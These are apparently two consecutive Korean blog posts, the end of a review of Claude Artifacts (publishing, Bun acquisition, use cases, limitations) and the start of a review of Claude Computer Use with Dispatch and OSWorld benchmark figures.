퍼블리시/배포	내장 퍼블리시 (Share → Publish 2클릭), 공유 URL, 임베드 코드 지원	네이티브 퍼블리시 기능 없음, 수동 복사 후 배포 필요
AI-Powered 앱	Artifact가 Claude API를 호출하는 AI 앱 생성 가능	Canvas에서는 불가
가격 ($20/월 기준)	Claude Pro $20/월	ChatGPT Plus $20/월

(참고: XsOne Consultants 비교 분석, AIFire 비교 분석 등 서드파티 비교 기반. Anthropic 또는 OpenAI의 공식 비교 문서는 존재하지 않음.)

Simon Willison의 조언 (2025년 12월)

Claude, ChatGPT, Gemini 세 플랫폼 모두 간단한 HTML+JS 앱을 빌드하고 미리보기할 수 있다. 그러나 React 기반 출력물은 추출하기 어렵고 버그가 더 많으므로, 프롬프트에 "No React"를 명시하는 것을 권장한다. 이는 Claude, ChatGPT, Gemini 모두에 해당하는 조언이다.

(출처: Simon Willison - Useful patterns for building HTML tools)

배포 기능의 결정적 차이

가장 큰 차별점은 배포(Deployment)다.

클로드: Artifact 우측 상단의 'Share(공유)' 버튼을 클릭한 뒤, 팝업에서 'Publish & Copy Link'를 누르면 공개 URL이 생성된다. 누구나 링크만으로 접근 가능하고, Claude 계정이 있으면 'Customize'(리믹스)하여 자기 버전으로 수정할 수 있다. 임베드 코드도 제공된다.
ChatGPT: Canvas에서 생성된 코드를 수동으로 복사/다운로드한 뒤 별도로 배포해야 한다. 네이티브 퍼블리시 기능은 없다.

(출처: Claude Help Center: Publishing and sharing artifacts)

커뮤니티 현장 반응 — 찬사와 불만 모두

컴뮤니티 내용을 종합하면, Artifacts에 대한 반응은 "진짜 마법 같다, 근데 한계가 답답하다"로 요약된다.

긍정적 반응:

"뱀 게임 만들어줘" → 10초 만에 플레이 가능: Canvas가 코드만 보여줄 때, Artifacts는 우측 패널에서 바로 게임이 돌아간다. 이 차이를 경험한 사람들이 "게임 체인저"라고 부른다.
비개발자의 즉시 프로토타이핑: 교사가 수학 시각화를 만들고, 마케터가 랜딩페이지를 뽑고, 기획자가 인터랙티브 대시보드를 만든 사례가 Reddit에 꾸준히 올라온다.
2026년 3월 인라인 시각화: TechRadar는 이 기능을 "가장 재미있는 AI 트릭 중 하나"라고 평가했다. 대화 흐름 안에서 차트가 자연스럽게 나타나는 경험이 기존 사이드 패널과 확실히 다르다는 반응이다.

(참고: TechRadar: I tried Claude's new interactive visuals)

부정적 반응 — 솔직한 불만들:

"작은 수정인데 전체를 다시 쓴다": 가장 많이 반복되는 불만이다. 한 줄 고쳐달라고 했는데 전체 Artifact를 재생성하면서 잘 되던 부분까지 바뀌어 버린다. 2025년 10월에 인라인 텍스트 교체 방식으로 3~4배 빨라진 업데이트가 적용됐지만, 여전히 "덮어쓰기" 방식에 대한 불만은 남아 있다.
"샌드박스가 너무 빡빡하다": 외부 API를 호출하거나 CDN에서 라이브러리를 자유롭게 가져올 수 없다. "장난감 만들기엔 좋은데, 실제 데이터를 불러오는 프로토타입은 못 만든다"는 의견이 r/ClaudeAI에서 반복적으로 등장한다.
"Artifact가 갑자기 사라진다": 예고 없이 Artifact가 날아가서 토큰을 낭비하며 다시 만들어야 하는 경우가 보고된다.
"모바일에서는 거의 못 쓴다": 데스크톱에서는 잘 돌아가지만, 모바일에서 렌더링이 깨지거나 기능이 제한된다는 불만이 꾸준하다.
사용량 제한: 유료 구독자도 프로젝트 중간에 "Opus 차단" 메시지를 받는다는 불만이 Pro 사용자 사이에서 가장 빈번한 불만 1위로 꼽힌다.

(참고: Martin Amm: "A Game-Changer Held Back by Frustrating Limits", P0stman: Claude Artifacts Limitations)

용도별 커뮤니티 평가 요약

용도	평가
프론트엔드/시각화	Artifacts 우세 — 라이브 렌더링이 결정적
정밀한 코드 편집	Canvas 우세 — 하이라이트 후 부분 수정
데이터 분석	ChatGPT 우세 — Code Interpreter(Python 실행) 강점
프로덕션 앱 빌드	Lovable/Bolt/v0 영역 — Artifacts는 프로토타입용

바이브 코딩 도구와의 비교 — Artifacts의 포지션

Lovable, Bolt.new, v0(Vercel)와 같은 전문 바이브 코딩 플랫폼이 빠르게 성장하면서, Artifacts가 이 시장에서 어떤 위치인지 궁금해하는 사람이 많다. 결론부터 말하면 경쟁 관계가 아니라 용도가 다르다.

Artifacts: 대화 안에서 즉석으로 만드는 단일 파일 프로토타입. 아이디어 검증, 시각화, 교육용에 적합
Lovable/Bolt/v0: 프론트엔드 + 백엔드 + DB + 배포를 한 번에 해결하는 풀스택 앱 빌더. MVP나 프로덕션 앱을 빌드할 때 적합

한 비교 분석에 따르면, Lovable, Bolt, v0 모두 생성된 코드의 40~45% 취약점 비율을 보이며, 어떤 도구를 쓰든 보안 리뷰는 필수다. Artifacts든 Lovable이든 "AI가 만들었으니 안전하겠지"는 위험한 가정이다.

(참고: P0stman: Lovable vs Claude Artifacts, Particula: Lovable vs Bolt vs v0 2026)

주의: 생성 코드의 보안

AI가 생성한 코드를 프로덕션에 배포할 때는 반드시 보안 리뷰를 거쳐야 한다. 이 문제는 클로드뿐만 아니라 모든 AI 코딩 도구에 해당한다.

5. Bun 인수

인수 배경과 타임라인

2025년 12월, Anthropic은 자바스크립트 런타임 혁신 기업 Oven(Bun의 모회사)을 인수했다.

이 인수가 발표된 시점은 Claude Code가 2025년 11월 연간 환산 매출(run-rate revenue) 10억 달러를 달성한 직후였다.

(출처: Anthropic: Anthropic acquires Bun as Claude Code reaches $1B milestone)

Bun이란?

Bun은 Jarred Sumner가 2021년에 만든 올인원 JavaScript/TypeScript 툴킷이다. 런타임 + 패키지 매니저 + 번들러 + 테스트 러너를 하나로 통합했다. Apple의 JavaScriptCore 엔진을 사용하여 Node.js보다 빠른 시작 시간과 낮은 메모리 사용량을 자랑한다.

인수 시점 기준: 월 700만+ 다운로드, GitHub 스타 82,000+
사용 기업: Midjourney, Lovable 등

기술적 의미

Anthropic의 공식 발표에 따르면:

"Anthropic은 획기적인 자바스크립트 런타임인 Bun을 인수하여 Claude Code를 더욱 가속화한다."
"Claude Code 사용자에게 이 인수는 더 빠른 성능, 향상된 안정성, 새로운 기능을 의미한다."

(출처: Anthropic: Anthropic acquires Bun as Claude Code reaches $1B milestone)

Bun 창시자 Jarred Sumner의 발표에 따르면:

"Anthropic은 Bun을 Claude Code, Claude Agent SDK, 그리고 미래의 AI 코딩 제품과 도구를 구동하는 인프라로 투자하고 있다."
Bun은 4년 이상의 운영 자금이 있어 매각할 필요가 없었지만, Anthropic과 합류하면 수익화 고민을 건너뛸 수 있다고 밝혔다.
Bun은 MIT 라이선스로 오픈소스를 유지한다.

(출처: Bun Blog: Bun is joining Anthropic)

Claude Code와의 관계

Claude Code는 이미 Bun 위에서 실행된다. 구체적으로:

Claude Code의 기술 스택: TypeScript + React + Ink(터미널 UI) + Yoga(Meta 레이아웃 엔진) + Bun
Bun의 단일 실행 파일(Single-file executable) 컴파일 기능으로 Claude Code가 배포됨
Bun이 Webpack/Vite보다 빠른 빌드 속도를 제공하여 Claude Code의 빌드 프로세스를 대체

(참고: The Pragmatic Engineer: How Claude Code is built)

주의: Artifacts와 Bun의 관계

Bun이 Claude Code의 런타임/빌드 도구로 사용되는 것은 공식적으로 확인된 사실이다. 그러나 Bun이 Claude.ai 웹 인터페이스의 Artifact 렌더링에 사용되는지는 공식 확인되지 않았다. Artifacts는 브라우저의 샌드박스된 iframe에서 클라이언트 사이드로 실행되는 것으로 알려져 있다.

어쨌든, Bun 인수가 Anthropic이 자바스크립트 생태계에 크게 베팅했다는 신호인 건 분명하다. GitHub의 이슈 #25929에는 "Bun as a secure sandbox runtime for AI agent code execution"이라는 제목의 논의가 진행 중이며, Bun을 AI 에이전트가 코드를 안전하게 돌리는 런타임으로 키우겠다는 방향성이 보인다.

6. 자연어 한마디로 CSS가 수정되는 마법???

Bun 인수 이야기는 잠시 제쳐두고, 사용자 입장에서 더 와닿는 건 '실시간 수정'이다. DevTools도 필요 없고, 코드를 직접 건드릴 필요도 없다. 말로 하면 된다.

예를 들어, 시각화된 차트의 숫자가 너무 작아 보이지 않는 '라벨 버그'가 발생했다고 하자:

초기 렌더링: 클로드가 포트폴리오 파이차트를 생성했으나 비중 라벨이 너무 작아 식별 불가
자연어 명령: "비중 부분이 너무 작아서 안 보여. 간을 넓혀줘."
즉각적 수정: 클로드가 CSS의 font-size, padding, percentage-label 스타일을 자동 수정하여 화면을 즉시 갱신

기존 방식과 뭐가 다른가

원래 프론트엔드 디버깅은 DevTools를 열고, 요소를 찾고, CSS를 수정하고, 코드에 반영하는 순서였다. Artifacts에서는 이 과정 전체가 자연어 한 문장으로 끝난다. AI와 사용자가 같은 화면을 보며 함께 고치는 '라이브 작업 공간(Live Workspace)'에 가깝다.

이런 식의 수정은 CSS에 국한되지 않는다. 몇 가지 예를 더 살펴보면:

"다크 모드로 바꿔줘" → 배경색, 텍스트 색상, 보더 색상이 한 번에 전환
"모바일에서도 잘 보이게 반응형으로 만들어줘" → 미디어 쿼리가 추가되어 레이아웃이 재구성
"바 차트를 파이차트로 변경해줘" → Recharts 컴포넌트가 교체되어 완전히 다른 시각화가 렌더링

7. '0원' 무한 배포 파이프라인

내장 퍼블리시 기능

클로드의 결과물은 채팅창 안에 갇혀 있지 않다. 사이드 패널에 생성된 Artifact의 경우, 우측 상단의 Share(공유) 버튼을 클릭하면 팝업이 뜨고, 여기서 'Publish & Copy Link'를 누르면:

claude.ai/public/artifacts/... 형태의 공개 URL이 생성되고 클립보드에 복사됨
누구나 링크만으로 접근 가능 (Claude 계정 불필요)
계정이 있는 사용자는 'Customize'(리믹스)하여 자기만의 버전으로 수정 가능
퍼블리시 후 'Get embed code' 버튼이 나타나며, 외부 사이트/CMS에 삽입할 수 있는 임베드 코드 제공
공개를 취소하려면 'Unpublish' 버튼으로 즉시 비공개 전환 가능

(출처: Claude Help Center: Publishing and sharing artifacts)

주의: 인라인 시각화(Custom Visuals)는 바로 퍼블리시할 수 없다

2026년 3월 업데이트 이후, 클로드는 대화 흐름 안에 직접 차트와 시각화를 렌더링하는 인라인 시각화를 자주 생성한다. 이것은 사이드 패널 Artifact와 다른 기능이다. 인라인 시각화의 ... 메뉴에는 'Save as artifact'가 표시되며, 이를 눌러 Artifact로 변환한 뒤에야 Publish가 가능하다.

퍼블리시 워크플로우: 인라인 시각화 생성 → ... 메뉴 → 'Save as artifact' → 저장된 Artifact 열기 → Share → Publish

(출처: Claude Help Center: Custom visuals in chat)

또한 HTML Artifact는 .html 파일로 즉시 다운로드가 가능하다. 이 파일은 백엔드 없이 구동되는 정적 파일이므로, 무료 호스팅 플랫폼에 업로드하는 것만으로 전 세계에 공개되는 웹 서비스가 된다.

무료 호스팅 플랫폼 비교

플랫폼	무료 대역폭	배포 방법	상업적 이용
Cloudflare Pages	무제한	대시보드 드래그앤드롭 또는 Wrangler CLI	허용
GitHub Pages	100GB/월	Git push 후 자동 배포	비상업적 용도만
Netlify	100GB/월	드래그앤드롭 또는 Git 연동	허용
Vercel	100GB/월	Git 연동 자동 배포	무료 플랜 금지

(출처: 각 플랫폼 공식 문서 — Cloudflare Pages Limits, GitHub Pages Limits)

추천: Cloudflare Pages

무제한 대역폭, 무제한 요청, 상업적 이용 허용 — Claude Artifact를 배포하기에 가장 적합한 무료 호스팅이다. 단일 HTML 파일은 모든 제한에 여유롭게 들어온다.

바이브 코딩(Vibe Coding)의 부상

이러한 흐름은 2025년 초 Andrej Karpathy(前 Tesla AI 디렉터, OpenAI 초기 연구원)가 명명한 '바이브 코딩(Vibe Coding)' 트렌드와 맞닿아 있다.

"There's a new kind of coding I call 'vibe coding', where you fully
give in to the vibes, embrace exponentials, and forget that the code
even exists."

"'바이브 코딩'이라 부르는 새로운 종류의 코딩이 있다.
바이브에 완전히 몸을 맡기고, 코드가 존재한다는 사실 자체를 잊어버리는 것이다."
— Andrej Karpathy, 2025년 2월 2일 (X/Twitter)

"Vibe Coding"은 2025년 Collins English Dictionary 올해의 단어로 선정되었다. (출처: Wikipedia: Vibe coding)

바이브 코딩 플랫폼 숫자가 꽤 빠르게 커지고 있다:

Lovable: 8개월 만에 ARR 1억 달러 달성, 2025년 12월 시리즈B $3.3억 조달, 기업가치 $66억
Y Combinator W25 배치: 스타트업의 25%가 코드베이스의 95%를 AI로 생성

(출처: Lovable — TechCrunch: Lovable raises $330M, YC — SaaStr: The Vibe Coding TAM)

클로드의 Artifacts는 바이브 코딩에 가장 쉽게 발을 들일 수 있는 방법 중 하나다. IDE 설치 없이 브라우저에서 자연어만으로 웹 앱을 만들고 바로 배포할 수 있다.

8. 적용 시나리오

실제로 써먹을 수 있는 Artifacts 활용 시나리오를 몇 가지 꼽아 봤다.

금융 및 데이터 대시보드

종목 리스트를 텍스트로 받는 대신, '배당주 시뮬레이터'를 만들어서 비중을 직접 조절하며 예상 수익 차트가 어떻게 바뀌는지 확인한다.

Chart.js 연동: 부드러운 애니메이션이 적용된 파이 차트
Hover Interaction: 마우스를 올리면 데이터 팝업이 뜨는 영역
Dynamic Inputs: 사용자가 비중 값을 직접 조절할 수 있는 입력 필드 (양방향 데이터 바인딩)

비교: 같은 요청, 다른 결과

"2억 원 포트폴리오, 변동성 낮은 월배당 차트 만들어줘"라고 요청했을 때:

클로드 ($20/월): 인터랙티브 파이차트 + 데이터 테이블 + 실시간 비중 조절 슬라이더가 포함된 웹 앱. 즉시 배포 가능한 HTML 파일로 다운로드.
ChatGPT ($20/월): 마크다운 표 + 텍스트 설명이 기본. 차트가 필요하면 별도 요청 후 Python(Matplotlib) 기반 정적 이미지를 생성하며, 엑셀로 내보내야 하는 경우가 많다.

ex) 클로드 vs ChatGPT

클로드 vs GPT

여행 및 일상 기획

비개발자에게 가장 와닿는 사례가 여행 계획이다. 이 예시는 동료 개발자분 khr 님의 결과물을 보고 작성 하게 되었다.

실제로 "가족끼리 후쿠오카 여행 가는데, 아이가 있으니 인파가 몰리지 않는 곳 위주로 3박 4일 일정 짜줘"라고 요청하면, 텍스트 나열이 아닌 인터랙티브 여행 플래너가 만들어진다.

일자별 타임라인: 날짜를 클릭하면 해당 일정이 펼쳐지는 아코디언 UI
지도 시각화: 방문 장소가 마커로 표시되고, 이동 동선이 선으로 연결
예산 대시보드: 숙박비, 교통비, 식비, 입장료가 카테고리별 파이차트로 표시
실시간 수정: "셋째 날 오후는 비 올 수도 있으니 실내로 바꿔줘"라고 하면 즉시 반영

비교: 같은 요청, 다른 결과

"후쿠오카 3박 4일, 아이 동반 가족여행 일정 짜줘"라고 요청했을 때:

클로드: 일자별 탭 전환, 장소 카드에 아이 적합도 표시, 예산 시각화, 날씨 대비 대안까지 포함된 인터랙티브 시각화. 'Save as artifact' 후 퍼블리시하면 가족에게 링크로 공유 가능.
일반 텍스트 AI: "1일차: 오호리 공원 → 하카타 역... 2일차: ..." 형태의 텍스트 목록. 정보는 같아도 한눈에 파악하기 어렵고, 수정하려면 다시 요청해야 한다.

여행뿐 아니라 결혼식 좌석 배치도, 이사 체크리스트, 아이 성장 기록표 같은 일상 기획에도 같은 패턴이 적용된다. 코딩을 몰라도 "이렇게 보여줘"라고 말하면 되니까.

ex) 생성된 결과

- 일자별 여행 경로를 실제 클릭하면 동작하도록 인터렉티브하게 만들어 준다.

- 그리고 복사도 가능하며, 경로열기 클릭시 구글 지도에 표현도 되게 되어 있다.

- 생성된 지도 링크 : https://www.google.com/maps/

ex) 2번째는 더 예쁘게 나온것 같아서 공유

해당 채팅 링크도 혹시나 공유

https://claude.ai/share/b41d5d51-9667-4a7c-9b39-31ab5ee2bdab

미디어 및 콘텐츠 제작

디자이너 없이도 반응형 갤러리나 랜딩 페이지를 만들 수 있다. 콘텐츠 크리에이터나 마케터가 직접 쓰기에 나쁘지 않다.

Image Fetching: 외부 이미지 소스를 자동으로 호출하여 배치한 다중 레이아웃
CSS Hover Effects: 마우스 오버 시 이미지가 부드럽게 확대되는 세련된 인터랙션
Upscaling Command: 텍스트 요청 한 번으로 갤러리 레이아웃의 정교함을 한 단계 높이는 것이 가능

나만의 맞춤형 도구

개인적으로 가장 유용한 용도는 "나만을 위한 도구"다. 어떤 아이디어든 단일 HTML 파일로 즉시 나오고, 오늘 당장 배포할 수 있다:

카테고리	예시
생산성	커스텀 스케줄러, 다이어리 꾸미기 툴, 개인용 습관 트래커
금융 및 계산	부동산 중개수수료 계산기, 환율 변환기, 대출 이자 시뮬레이터
여행/생활	가족여행 인터랙티브 플래너, 결혼식 좌석 배치도, 이사 체크리스트, 육아 성장 기록표
콘텐츠	인터랙티브 퀴즈 홈, 나만의 영단어장, 오픈소스 큐레이션 보드

9. 2026년 최신 업데이트

출시 이후 기능이 꽤 빠르게 붙고 있다. 2025~2026년 주요 업데이트만 추려 봤다.

인라인 시각화 (2026년 3월)

2026년 3월 12일, Anthropic은 차트, 다이어그램, 시각화가 대화 흐름 안에서 인라인으로 직접 렌더링되는 기능을 발표했다.

HTML과 SVG를 사용하여 채팅 내에서 직접 시각화
호버 및 클릭 인터랙션 지원
대화가 진행되면서 시각화도 함께 발전하는 임시적/맥락적(Contextual) 특성
기존의 사이드 패널 Artifacts와는 달리, 대화 흐름에 자연스럽게 녹아드는 형태

(출처: Claude Blog: Claude Builds Visuals)

인라인 시각화(Custom Visuals) vs Artifacts — 헷갈리기 쉬운 차이점

구분	인라인 시각화	Artifact
위치	대화 흐름 안	사이드 패널
지속성	임시 (대화 진행 시 변경/소멸)	영구 저장
퍼블리시	직접 불가 — 'Save as artifact' 후 가능	Share → Publish로 즉시 가능
`...` 메뉴	Copy / Download / Save as artifact	Share / Publish / Embed

두 기능은 상호 보완적이다. 인라인 시각화로 탐색하고, 마음에 드는 결과를 Artifact로 저장하여 퍼블리시하는 흐름이다.

(출처: Claude Help Center: Custom visuals in chat)

AI-Powered Artifacts

Artifacts가 이제 Claude API를 직접 호출할 수 있다. 정적 웹 페이지가 아니라 AI 기능이 내장된 앱을 만들 수 있다는 뜻이다.

Anthropic이 호스팅, 인증, 공유 경제를 관리
퍼블리시된 AI-Powered Artifact는 방문자가 직접 AI 기능을 사용 가능

(출처: Anthropic: Build and share AI-powered apps with Claude)

영구 저장소와 MCP 연동

영구 저장소(Persistent Storage): Artifacts가 세션 간에 데이터를 유지할 수 있게 되었다. 저널, 트래커, 협업 도구 같은 상태 기반 앱 구축이 가능하다. (Pro, Max, Team, Enterprise 플랜)
MCP(Model Context Protocol) 연동: Artifacts가 Asana, Google Calendar, Slack 등 외부 서비스와 연결 가능
파일 생성 기능: 2025년 10월 21일 GA — Excel 스프레드시트, 문서, PowerPoint 슬라이드, PDF를 직접 생성/편집 가능 (유료 플랜)

(출처: Anthropic: Claude can now create and edit files)

10. 알아두어야 할 한계점

Artifacts가 편하긴 하지만 못 하는 것도 있다. 현재 알려진 제약 사항이다.

단일 파일 제한: Artifact는 하나의 파일로만 생성된다. 멀티 파일 프로젝트는 불가
클라이언트 사이드 전용: 백엔드/서버 사이드 코드 실행 불가, 데이터베이스 직접 연결 불가
외부 리소스 제한: CDN은 cdnjs.cloudflare.com만 허용. 외부 이미지나 API 호출에 제약이 있음
localStorage/sessionStorage 미지원: 브라우저 저장소를 활용한 상태 유지가 제한적 (Persistent Storage 기능으로 일부 대체 가능)
React Artifact 추출 복잡: React 기반 Artifact를 외부에서 실행하려면 claude-artifact-runner 같은 별도 도구가 필요

실용적 팁

Simon Willison은 Artifact 생성 시 프롬프트에 "React가 아닌 순수 HTML+JS로"를 명시하면 추출과 배포가 훨씬 수월하다고 조언한다. 특히 외부 배포를 계획하고 있다면 이 팁이 유용하다.

커뮤니티에서 공유하는 워크어라운드

"전체를 다시 쓰지 마": 프롬프트에 "기존 코드를 유지하고, [특정 부분]만 수정해줘"라고 명시하면 전체 재생성을 줄일 수 있다. 효과는 절반 정도지만, 안 쓰는 것보다 낫다.
수동 버전 관리: 마음에 드는 Artifact가 나오면 즉시 코드를 복사해서 로컬에 저장해 둔다. 다음 수정에서 망가질 수 있으니까.
"설명 먼저, 실행 나중에": "바로 수정하지 말고, 뭘 바꿀 건지 먼저 설명해줘"라고 하면 의도치 않은 변경을 사전에 잡을 수 있다.

11. 결론: 프론트엔드 개발의 민주화, 그리고 새로운 '공포'

클로드의 Artifacts는 AI가 질문에 답하는 비서에서 소프트웨어를 즉석에서 뽑아내는 공장으로 바뀌는 지점에 있다.

흐름을 보면 이렇다:

과거 — 텍스트 생성(Chat): AI가 텍스트로 답변을 생성하면 사용자가 직접 코드를 복사해서 실행
현재 — 정적 UI 및 마이크로 웹앱 렌더링(Artifacts): 자연어 한 문장으로 인터랙티브 웹앱을 즉시 렌더링. 대화 속에서 기획의 실시간 검증이 가능
미래 — 복잡한 클라이언트 앱의 즉석 생성: 영구 저장소와 MCP 연동으로 엑셀, 파워포인트급 복잡한 클라이언트 앱을 즉석 생성. 이미 파일 생성 기능과 AI-Powered Artifacts의 등장을 보면, 이 미래는 충분히 가시권에 들어왔다

핵심 요약

Artifacts = 라이브 프론트엔드 런타임: HTML/CSS/JS/React를 실시간 렌더링하는 샌드박스 실행 환경
ChatGPT 대비 차별점: 렌더링 우선 철학, 내장 퍼블리시(Share → Publish), AI-Powered 앱, 영구 저장소
Bun 인수: Anthropic의 JS 생태계 전략적 투자. Claude Code 성능 강화 + 미래 AI 에이전트 런타임
제로 컨피그 배포: Cloudflare Pages 등 무료 호스팅으로 즉시 웹 서비스화
2026년 업데이트: 인라인 시각화, AI-Powered Artifacts, 영구 저장소, MCP 연동

LLM이 텍스트를 뽑아주는 도구에 머물지 않고, 그 자체로 '프론트엔드 실행 환경'이 되고 있다. 클로드를 매달 구독할 이유를 묻는다면, 솔직히 이 시각화 기능이 가장 설득력 있다.

결국 중요한 건 "무엇을 물어보느냐"보다 "어떤 화면을 요구할 줄 아느냐"가 됐다.

참고 자료

공식 문서 (Level 1)

Anthropic: Introducing Claude 3.5 Sonnet — Artifacts 최초 공개
Anthropic: Artifacts are now generally available — 정식 출시 발표
Anthropic: Build and share AI-powered apps with Claude — AI-Powered Artifacts
Anthropic: Claude can now create and edit files — 파일 생성 기능
Anthropic: Anthropic acquires Bun — Bun 인수 발표
Bun Blog: Bun is joining Anthropic — Bun 측 발표
Claude Help Center: What are artifacts — Artifacts 공식 문서
Claude Help Center: Publishing and sharing artifacts — 퍼블리시 공식 문서
Claude Blog: Claude Builds Visuals — 2026년 3월 인라인 시각화

참고 자료 (Level 2-3)

The Pragmatic Engineer: How Claude Code is built — Claude Code 기술 스택
Reid Barber: Reverse engineering Claude Artifacts — Artifacts 렌더링 아키텍처
Simon Willison: Useful patterns for building HTML tools — 실전 조언
XsOne Consultants: ChatGPT Canvas vs Claude Artifacts — 비교 분석
TechCrunch: Lovable raises $330M — 바이브 코딩 시장
Cloudflare Pages: Limits — 무료 호스팅 스펙

Claude Computer Use 리뷰 : AI가 내 컴퓨터를 조작한다 - 폰에서 지시하면 Mac이 혼자 일한다

갓대희 — Wed, 25 Mar 2026 00:22:48 +0900

안녕하세요! 갓대희 입니다.

2026년 3월 23일, Anthropic이 Computer Use를 리서치 프리뷰로 공개했다.

한마디로, Claude가 사용자의 Mac 화면을 직접 보면서 마우스를 클릭하고 키보드를 치는 기능이다. 사람이 컴퓨터 앞에 앉아서 하는 것과 똑같은 방식으로 앱을 조작한다.

여기에 일주일 전 출시된 Dispatch까지 결합되면 이야기가 달라진다. 출근길 지하철에서 폰으로 "이메일 정리하고 보고서 써줘" 한마디면, 집에 놓고 온 Mac에서 Claude가 알아서 화면을 띄우고 작업을 시작한다. 아무도 없는 빈 책상 위에서 컴퓨터가 혼자 돌아가는 셈이다.

Computer Use 소개
- Computer Use란 무엇인가
- Dispatch와의 시너지
- Cowork · Code 통합
Computer Use의 진화
- 2024년 10월: 첫 공개
- OSWorld 벤치마크 — 14.9%에서 72.5%까지
- Vercept 인수
작동 원리
- 커넥터 우선, 화면 제어 폴백
- 스크린샷 기반 인식과 픽셀 카운팅
- 자기 수정 능력
설정 방법
- 필수 조건
- Dispatch 연동
활용 시나리오와 프롬프트 예시
- 프롬프트 예시와 예상 동작
- 적합한 작업 vs 아직 피해야 할 작업
안전성과 보안
- Permission-First 접근
- 프롬프트 인젝션 방어
- AI Safety Level 평가
현재 한계와 솔직한 평가
- Anthropic이 인정한 제약사항
- 플립북 방식의 한계
- 플랫폼 제한
경쟁 구도
- OpenAI, Google과의 데스크탑 제어 경쟁
- Anthropic이 먼저 출시한 이유
커뮤니티 반응
- X(트위터): "새로운 세계"
- DEV Community: 실사용 체험기
- Reddit: 품질 vs 사용량 한도
- 한국 커뮤니티
구독 플랜
결론

Claude Computer Use 가이드
Computer Use는 Claude가 사용자의 Mac 화면을 직접 보고, 마우스를 클릭하고, 키보드를 입력하여 작업을 수행하는 기능이다. 커넥터가 있는 앱은 커넥터를 먼저 사용하고, 없으면 화면을 직접 제어한다.
2026년 3월 23일 리서치 프리뷰로 출시되었으며, macOS에서 Pro 또는 Max 구독자에게 제공된다.

1. Computer Use 소개

Computer Use란 무엇인가

2026년 3월 23일, Anthropic은 Claude Cowork와 Claude Code에서 Computer Use 기능을 리서치 프리뷰로 공개했다.

Anthropic 공식 블로그의 표현을 빌리면:

"Claude가 필요한 도구에 대한 접근 권한이 없을 때, 화면에 보이는 것을 직접 포인트하고, 클릭하고, 네비게이트하여 작업을 수행합니다. 파일을 열고, 브라우저를 사용하고, 개발 도구를 자동으로 실행할 수 있습니다 — 별도의 설정이 필요 없습니다."
— claude.com/blog/dispatch-and-computer-use (2026.3.23)

정리하면 네 가지이다:

화면 인식: Claude가 스크린샷을 찍어 현재 화면 상태를 파악한다
마우스 · 키보드 제어: 커서를 이동하고, 클릭하고, 텍스트를 입력한다
앱 간 이동: 파일, 브라우저, 개발 도구 등 여러 앱을 넘나들며 작업한다
커넥터 우선: Slack, Google Calendar 등 커넥터가 있으면 먼저 사용하고, 없을 때만 화면 제어로 전환한다

기존 AI 도구와의 차이

기존 AI 비서는 전용 API나 도구를 통해서만 외부 서비스와 상호작용할 수 있었다.

Computer Use는 사람이 컴퓨터를 쓰는 것과 같은 방식으로 아무 소프트웨어나 조작할 수 있다.

Anthropic은 이를 "도구를 모델에 맞추는 대신, 모델을 도구에 맞추는 것"이라고 설명한다.

즉, 기존에는 AI가 사용할 수 있도록 앱마다 전용 API를 만들어야 했지만, Computer Use는 이미 있는 앱의 UI를 그대로 사용한다는 의미다.

Dispatch와의 시너지

Computer Use와 함께 공개된 Dispatch는 폰과 데스크탑 사이에 하나의 지속적인 대화 스레드를 유지하는 기능이다. 하기글 참고.

Claude Cowork Dispatch 리뷰 - 외출 중에도 AI가 내 컴퓨터에서 일 시키기

이 두 기능이 결합되면 이런 시나리오가 가능해진다:

출근길 지하철에서 폰으로 Claude에게 "오늘 아침 이메일 정리하고 주간 보고서 초안 작성해줘"라고 지시
집에 있는 Mac의 Claude가 화면을 직접 띄워 이메일 앱을 열고, 내용을 분석하고, 문서 앱에서 보고서를 작성
사무실에 도착하면 데스크톱에서 완성된 결과물을 확인하고 수정

Dispatch를 통해 반복 작업을 스케줄링할 수도 있다.

공식 블로그에 따르면 "매일 아침 이메일을 확인하거나 매주 특정 지표를 수집하도록" 설정할 수 있다.

Cowork · Code 통합

Computer Use는 Claude Cowork와 Claude Code 두 제품 모두에서 사용할 수 있다.

구분	Claude Cowork	Claude Code
대상 사용자	비개발자 지식 노동자	개발자
주요 용도	문서 작업, 리서치, 파일 정리	코드 작성, 테스트, PR 제출
Computer Use 활용	커넥터 없는 앱 조작, 데이터 수집	IDE 조작, 브라우저 테스트
출시 시기	2026년 1월 (리서치 프리뷰)	2025년 5월 (GA)

Cowork가 만들어진 계기가 재밌다. 마케팅이나 데이터 분석 팀이 개발자용 Claude Code를 몰래(?) 쓰기 시작한 것이다. 복잡한 작업을 알아서 처리하는 게 매력적이었던 모양이다. Anthropic이 이걸 보고 비개발자 전용 인터페이스를 따로 만든 게 Cowork다.

2. Computer Use의 진화

2024년 10월: 첫 공개

사실 Computer Use가 처음 나온 건 2024년 10월이다. Claude 3.5 Sonnet과 함께 퍼블릭 베타로 공개됐다.

당시 기술 블로그를 보면, 개발 과정에서 가장 어려웠던 건 픽셀 카운팅이었다:

"Claude는 화면에 보이는 스크린샷을 해석한 다음, 올바른 위치를 클릭하기 위해 가로 또는 세로로 몇 픽셀을 이동해야 하는지 계산합니다. Claude가 픽셀을 정확히 세는 훈련이 핵심이었습니다."
— anthropic.com/news/developing-computer-use

훈련 과정도 독특하다. Anthropic은 안전상의 이유로 인터넷 접속 없이 계산기와 텍스트 에디터 같은 간단한 소프트웨어만으로 훈련시켰다. 그런데 이것만으로도 Claude는 범용적인 컴퓨터 조작 능력을 익혔다. 프롬프트를 받으면 단계별로 쪼개서 실행하는 식이다.

OSWorld 벤치마크 — 14.9%에서 72.5%까지

얼마나 좋아졌는지는 OSWorld 벤치마크 수치를 보면 바로 와닿는다. OSWorld는 AI에게 실제 데스크톱에서 버튼 클릭, 폼 작성, 여러 단계에 걸친 작업 완수 같은 과제를 주고 성공률을 측정한다.

시기	모델	OSWorld 점수
2024년 10월	Claude 3.5 Sonnet	14.9%
2024년 10월 (차점자)	경쟁 모델	7.7%
2026년 2월	Claude Sonnet 4.6	72.5%
2026년 2월	Claude Opus 4.6	72.7%
2026년 2월 (경쟁사)	GPT-5.2	47.3% **
참고	인간 수준	72.36% (OSWorld 공식)

(출처: Anthropic 공식 발표, Vercept 인수 발표 블로그)
⚠️ 벤치마크 버전 주의: 2024년 10월의 14.9%는 OSWorld 원본 기준이며, 2026년 2월의 72.5%/72.7%는 OSWorld-Verified(개정판) 기준이다. 두 버전은 평가 방식이 다르므로 수치를 단순 비교하기 어렵다.
